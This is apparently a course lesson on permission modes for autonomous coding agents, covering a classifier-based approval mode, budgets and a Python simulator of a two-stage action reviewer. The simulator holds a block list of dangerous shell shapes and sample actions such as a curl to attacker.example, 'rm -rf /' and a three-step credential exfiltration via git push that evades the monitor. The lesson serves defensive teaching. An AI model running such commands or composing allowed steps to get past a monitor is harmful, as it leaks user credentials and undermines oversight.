Get Started

Permission Modes for Autonomous Agents

A permission ladder, graduated levels of autonomy from review-every-action to approve-everything, is how a harness governs what an autonomous agent may do without asking. Claude Code, this lesson's worked example, exposes six such modes: "plan" asks before every action, "default" (labeled "Manual" in the UI) asks only for risky ones, "acceptEdits" auto-approves file writes but still confirms shell execution, and "bypassPermissions" approves everything. Auto Mode, the auto permission mode, replaces per-action approval with a separate classifier model that reviews each action before it runs and blocks anything that escalates beyond what the request asked for. Action budgets are enforced via max_turns and max_budget_usd. Availability of auto depends on plan, org enablement, model, and provider, and Anthropic is explicit that the classifier is not sufficient alone.

45 minutesLearnPython (stdlib, two-stage classifier simulator)Free lesson

The Problem

An autonomous coding agent on your machine is a distinct security category. The attack surface is everything the agent can reach, file system, network, credentials, clipboard, any browser tab, any open terminal. Bruce Schneier and others have flagged this publicly: computer-use agents are not a "feature update" of chatbots, they are a new kind of tool with a new kind of risk profile.

Claude Code's permission system is Anthropic's answer. Rather than one "autonomous / not autonomous" switch, there are six modes spanning a capability ladder: plan → default → acceptEdits → … → bypassPermissions. Each mode is a different trade-off between speed and review-per-action. Auto Mode (March 2026) adds a separate classifier model that moves approval off the user's critical path: it reviews each action before it runs and blocks anything that escalates beyond the request.

The engineering question: what does this system catch, what does it miss, and which mode does a given task actually warrant?

The Concept

The six permission modes

ModeBehaviorWhen to use
planAgent proposes a plan; user approves the whole plan; every action is reviewed before executionUnfamiliar task; prod-adjacent code; first time using the agent on a repo
defaultLabeled "Manual" in the UI. Agent runs actions; prompts user for any "risky" action (shell exec, destructive operations, network calls)Most interactive coding sessions
acceptEditsFile writes auto-approve; shell exec and network calls still promptRefactoring pass across many files
autoA separate classifier model reviews each action before it runs; blocks anything escalating beyond the requestLong-horizon unattended runs in a constrained workspace
dontAskNever prompts; actions not pre-approved by permission rules are deniedEphemeral sandboxes, CI jobs, research scripts
bypassPermissionsApproves everythingDocumented as "only inside ephemeral containers you are willing to throw away"

(Names above match public Claude Code docs; the UI labels default as "Manual".)

Auto Mode in one page

Auto Mode (launched March 24, 2026) is the first permission mode to delegate per-action approval to a model. Structure:

  1. A separate classifier model. Reviews every proposed action before it runs, judged against the declared task and the current state of the session, and blocks anything that escalates beyond what the request called for. Blocked actions fall back to the user.
  2. Gated availability. Whether auto is offered at all depends on plan, organization enablement, model, and provider.

Budget controls sit alongside the classifier:

  • max_turnstotal iterations in a session.
  • max_budget_usddollar cap that aborts the session.
  • action-count limits per tool (no more than N WebFetch calls, etc.).

What the system catches

  • Straightforward prompt injection into tool inputs where the injected instruction maps to a known-risky action shape.
  • Repetitive tool loops, the classifier can see action N+1 is nearly identical to action N, five times in a row.
  • Clearly out-of-scope shell commands on an otherwise file-edit-only session.

What the system can miss

  • Subtle prompt injection that modulates behavior without producing a single flagged action. Indirect prompt injection is not a fully patchable vulnerability (OpenAI preparedness head, 2025, on browser agents, see Lesson 11).
  • Semantic-level misbehavior. Every individual action can look safe while the composed trajectory is harmful. The classifier judges the action; it does not re-derive the user's intent.
  • Exfiltration through legitimate channels. Writing data to a file you own, then git pushing to a public repo, is a sequence of allowed actions whose composition is the problem.

Research preview framing

Anthropic shipped Auto Mode as a research preview. The documentation is explicit that the classifier is a layer, not a solution: users are expected to combine Auto Mode with budgets, allowlists, isolated workspaces, and trajectory audits (Lessons 12 to 16). The preview framing also reflects the documented evaluation-vs-deployment gap (Lesson 1), a classifier that passes offline evals can behave differently in a real session where the user's context is ambiguous.

Where this ladder lives in your workflow

  • Unfamiliar task: start in plan. Reading the plan is cheaper than rolling back a bad run.
  • Known refactor: acceptEdits saves a lot of confirmation clicks.
  • Unattended background run: auto only inside a workspace whose blast radius you have measured (no credentials, no production mounts, no egress you did not opt into).
  • Ephemeral containers: dontAsk / bypassPermissions is acceptable if and only if the container and its credentials are disposable.

Use It

code/main.py simulates an action-review classifier as a two-stage pipeline, a teaching simplification; the real auto mode is backed by a separate classifier model, not a documented two-stage contract. Stage 1 is a cheap keyword rule over proposed actions; Stage 2 is a slower multi-rule reviewer. The driver feeds in a short synthetic trajectory (safe actions, a prompt-injection attempt, a repetitive loop) and shows where the classifier catches and where it misses.

Ship It

outputs/skill-permission-mode-picker.md matches a task description to the right permission mode, budget caps, and required isolation.

Exercises

  1. Run code/main.py. Which synthetic action type is never flagged by Stage 1 but always caught by Stage 2? Which is caught by neither?
  2. Extend the Stage 1 rule set to catch a specific known-bad shape (e.g., curl $ATTACKER/exfil). Measure the false-positive rate on the benign-action sample.
  3. Read Anthropic's "How the agent loop works" doc. List every external state the agent touches by default in default mode. Which would you need to gate separately before running auto unattended?
  4. Design a 24-hour unattended run budget: max_turnsmax_budget_usdper-tool caps, allowlists. Justify each number.
  5. Describe one trajectory where every individual action is approved by the classifier, yet the composed behavior is misaligned. (Lesson 14 covers how kill switches and canary tokens address this.)

Key Terms

TermWhat people sayWhat it actually means
Permission mode"How much the agent can do"One of six named policies controlling per-action approval
plan mode"Ask before anything"Agent writes a plan; user approves before execution
acceptEdits"Let it write files"File writes auto-approve; shell exec still prompts
auto"Auto approvals"Separate classifier model reviews each action; blocks escalation beyond the request
bypassPermissions"Full YOLO"Approves everything; intended for ephemeral containers
Stage 1 (simulator)"Fast keyword check"Cheap rule over proposed actions in code/main.py
Stage 2 (simulator)"Deep review"Slower multi-rule reviewer for flagged actions in code/main.py
Research preview"Not GA"Anthropic framing for features whose failure mode is still being mapped

Further Reading

The full code

Every file for this lesson. Copy it, run it, then change it.

main.py
"""Two-stage safety classifier simulator — stdlib Python.

Stage 1: cheap keyword rule (single-token-equivalent). Runs on every action.
Stage 2: slower multi-rule review (chain-of-thought-equivalent). Runs on
flagged actions only. HITL escalation if Stage 2 is not confident.

The driver feeds in a synthetic trajectory: benign actions, prompt injection,
a repetitive loop, and one "legitimate-channel exfiltration" composite. The
last case is the point: individual actions pass both stages while the
composition is the risk.
"""

from __future__ import annotations

from dataclasses import dataclass, field
from enum import Enum


class Verdict(Enum):
    APPROVE = "approve"
    BLOCK = "block"
    HITL = "hitl"


# ---------- Action shape ----------

@dataclass
class Action:
    tool: str
    payload: str
    note: str = ""


# ---------- Stage 1: cheap keyword rule ----------

STAGE1_FLAG_KEYWORDS = (
    "rm -rf /",
    "curl ",           # any external curl in a shell action
    "; dd ",
    "sudo ",
    "chmod 777",
    "chown ",
    "iptables",
    "kubectl delete",
    "drop table",
    "exec('",
    "base64 -d",
    "aws s3 rb",
)


def stage1(a: Action, history: list[Action]) -> bool:
    """Return True if Stage 1 flags the action.

    Keyword match handles explicit injection shapes. Repetition detection
    runs unconditionally so identical loops escalate even when the
    individual call is otherwise innocuous (e.g. five identical reads).
    """
    hay = f"{a.tool} {a.payload}".lower()
    if any(k.lower() in hay for k in STAGE1_FLAG_KEYWORDS):
        return True
    if len(history) >= 4:
        tail = history[-4:]
        if all(t.tool == a.tool and t.payload == a.payload for t in tail):
            return True
    return False


# ---------- Stage 2: deeper multi-rule review ----------

STAGE2_ALLOWED_CURL_HOSTS = (
    "registry.npmjs.org",
    "pypi.org",
    "github.com",
)


def stage2(a: Action, history: list[Action]) -> tuple[Verdict, str]:
    """Return (verdict, reason). More expensive review of a flagged action
    plus trajectory context."""
    payload = a.payload.lower()
    # Rule 0: curl to an allowlisted host is a stage-1 false positive.
    # This is the only way stage 2 clears a flag; everything else either
    # blocks or escalates to HITL.
    if "curl " in payload and any(h in payload for h in STAGE2_ALLOWED_CURL_HOSTS):
        return Verdict.APPROVE, "curl to allowlisted host"
    # Rule 1: outbound exfil to non-approved hosts
    if "curl " in payload and ("attacker" in payload or "paste" in payload or "webhook.site" in payload):
        return Verdict.BLOCK, "exfiltration-shaped URL"
    # Rule 2: destructive fs operation at repo root
    if "rm -rf" in payload and ("/" in payload or "$home" in payload):
        return Verdict.BLOCK, "destructive filesystem op at root"
    # Rule 3: repetitive loop (same tool+payload 5 times running)
    if len(history) >= 4:
        tail = history[-4:]
        if all(t.tool == a.tool and t.payload == a.payload for t in tail):
            return Verdict.BLOCK, "repetitive loop detected (>=5 identical calls)"
    # Rule 4: high-privilege escalation
    if "sudo " in payload or "chmod 777" in payload:
        return Verdict.BLOCK, "privilege escalation shape"
    # Default: not confident -> escalate to HITL rather than approve
    return Verdict.HITL, "low-confidence reviewer -> HITL"


# ---------- Driver ----------

def classify(trajectory: list[Action]) -> None:
    history: list[Action] = []
    counts = {"approved_s1": 0, "flagged_s1": 0, "approved_s2": 0,
              "blocked_s2": 0, "hitl_s2": 0}

    for i, a in enumerate(trajectory, 1):
        s1_flag = stage1(a, history)
        if not s1_flag:
            counts["approved_s1"] += 1
            verdict = "APPROVED (S1 fast path)"
            reason = ""
        else:
            counts["flagged_s1"] += 1
            s2_verdict, reason = stage2(a, history)
            if s2_verdict is Verdict.APPROVE:
                counts["approved_s2"] += 1
                verdict = "APPROVED (S2 deep review)"
            elif s2_verdict is Verdict.HITL:
                counts["hitl_s2"] += 1
                verdict = "ESCALATED to HITL"
            else:
                counts["blocked_s2"] += 1
                verdict = "BLOCKED (S2)"
        print(f"  {i:>2}. {a.tool:<10} {a.payload[:44]:<44} -> {verdict}  "
              f"{reason}")
        history.append(a)

    print()
    print(f"  summary: {counts}")


def main() -> None:
    print("=" * 80)
    print("AUTO MODE TWO-STAGE CLASSIFIER SIMULATOR (Phase 15, Lesson 10)")
    print("=" * 80)
    print()

    # Synthetic trajectory mixing safe, injected, repetitive, and composite
    traj = [
        Action("read",  "pyproject.toml"),
        Action("edit",  "src/app.py: fix off-by-one"),
        Action("run",   "pytest -q"),
        Action("shell", "curl https://pypi.org/simple/requests/"),  # S1 flag, S2 clears
        Action("shell", "curl http://attacker.example/exfil"),  # injection
        Action("shell", "rm -rf /"),                             # destructive
        Action("shell", "sudo apt install neofetch"),            # priv esc
        Action("read",  "logs/app.log"),
        Action("read",  "logs/app.log"),
        Action("read",  "logs/app.log"),
        Action("read",  "logs/app.log"),
        Action("read",  "logs/app.log"),  # repetitive loop
        # Composite: each step is safe; together they exfiltrate.
        Action("read",   "~/.aws/credentials"),
        Action("write",  "/tmp/secrets.txt with credential blob"),
        Action("shell",  "git add /tmp/secrets.txt && git push"),
    ]
    classify(traj)

    print()
    print("=" * 80)
    print("HEADLINE: classifier is a layer, not a solution")
    print("-" * 80)
    print("  S1 catches explicit injection shapes cheaply and in parallel.")
    print("  S2 catches loops and privilege escalation via reasoning.")
    print("  Neither stage catches the 3-step composite at the end: each")
    print("  action is locally safe, the composition exfiltrates credentials.")
    print("  Budgets, allowlists, and trajectory audits (Lessons 12-16)")
    print("  remain required. Auto Mode shipped as a research preview.")


if __name__ == "__main__":
    main()